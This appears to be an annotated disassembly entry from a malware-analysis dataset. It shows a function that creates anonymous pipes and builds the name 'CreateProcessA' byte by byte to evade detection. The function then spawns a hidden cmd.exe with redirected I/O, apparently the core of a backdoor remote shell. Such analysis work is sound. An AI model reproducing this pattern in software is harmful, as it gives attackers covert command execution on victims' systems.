Function at 0x40c880
Capabilities:
Create pipe
Create two anonymous pipes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x41f6a8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x17c
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov ebx, ecx
push eax
mov dword [ebp - 0x40], ebx
call fcn.00409680
xor edx, edx
mov dword [ebx], 0x4201fc
mov dword [ebp - 4], edx
nop
nop
xor ecx, ecx
xor eax, eax
mov dword [ebp - 0x38], ecx
lea edi, [ebp - 0x80]
mov dword [ebp - 0x34], ecx
mov ecx, 0x10
mov dword [ebp - 0x84], edx
lea esi, [ebx + 0x1c]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x2c], eax
mov ecx, 0x40
mov dword [ebp - 0x28], eax
lea edi, [ebp - 0x187]
mov dword [ebp - 0x24], eax
mov byte [ebp - 0x188], al
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea edi, [ebx + 0x10]
push str.CloseHandle
push str.KERNEL32.dll
mov dword [ebp - 0x30], edx
mov dword [edi], edx
mov dword [ebx + 0x14], edx
mov dword [ebx + 0x18], edx
mov dword [esi], edx
mov dword [ebp - 0x3c], 0xc
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x34], 1
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x3c]
push 0
push ecx
push esi
push edi
mov dword [ebp - 0x10], eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40c962
mov edi, dword [edi]
test edi, edi
je 0x40c94f
push edi
call dword [ebp - 0x10]
mov esi, dword [esi]
test esi, esi
je 0x40cb36
push esi
call dword [ebp - 0x10]
jmp 0x40cb36
lea edx, [ebp - 0x3c]
push 0
lea edi, [ebx + 0x14]
push edx
lea eax, [ebx + 0x18]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40c998
mov edi, dword [edi]
test edi, edi
je 0x40c984
push edi
call dword [ebp - 0x10]
mov eax, dword [ebx + 0x18]
test eax, eax
je 0x40cb36
push eax
call dword [ebp - 0x10]
jmp 0x40cb36
mov ecx, 0x11
xor eax, eax
lea edi, [ebp - 0x84]
push str.GetStartupInfoA
rep stosd dword es:[edi], eax
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
push str.KERNEL32.dll
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x84]
push ecx
call eax
mov edx, dword [ebx + 0x18]
mov esi, dword [esi]
push str.GetSystemDirectoryA
push str.KERNEL32.dll
mov dword [ebp - 0x84], 0x44
mov word [ebp - 0x54], 0
mov dword [ebp - 0x58], 0x101
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x48], esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x188]
push 0x104
push ecx
call eax
mov edi, str.cmd.exe
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp - 0x188]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [ebp - 0x20], 0x43
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov al, 0x65
mov ecx, edx
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x16], al
mov al, 0x73
and ecx, 3
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
lea eax, [ebp - 0x20]
rep movsb byte es:[edi], byte [esi]
mov cl, 0x72
push eax
push str.KERNEL32.dll
mov byte [ebp - 0x1f], cl
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1c], 0x74
mov byte [ebp - 0x1a], 0x50
mov byte [ebp - 0x19], cl
mov byte [ebp - 0x18], 0x6f
mov byte [ebp - 0x17], 0x63
mov byte [ebp - 0x13], 0x41
mov byte [ebp - 0x12], 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x30]
lea edx, [ebp - 0x84]
push ecx
push edx
push 0
push 0
push 0x20
push 1
push 0
push 0
lea ecx, [ebp - 0x188]
push 0
push ecx
call eax
test eax, eax
jne 0x40cadf
mov edx, dword [ebx + 0x10]
mov esi, dword [ebp - 0x10]
push edx
call esi
mov eax, dword [ebx + 0x14]
push eax
call esi
mov ecx, dword [ebx + 0x18]
push ecx
call esi
mov edx, dword [ebx + 0x1c]
push edx
call esi
jmp 0x40cb36
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x30]
lea edx, [ebp + 0xb]
mov dword [ebx + 0x24], ecx
push 1
push edx
mov ecx, ebx
mov dword [ebx + 0x20], eax
mov byte [ebp + 0xb], 0x82
call fcn.00409720
mov ecx, ebx
call fcn.00409790
push 0
push 0
push 0
push ebx
push 0x40cda0
push 0
push 0
call fcn.0040d970
push 0
push 0
push 0
push ebx
push 0x40cf00
push 0
push 0
mov dword [ebx + 0x28], eax
call fcn.0040d970
add esp, 0x38
mov dword [ebx + 0x2c], eax
mov ecx, dword [ebp - 0xc]
pop edi
mov eax, ebx
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4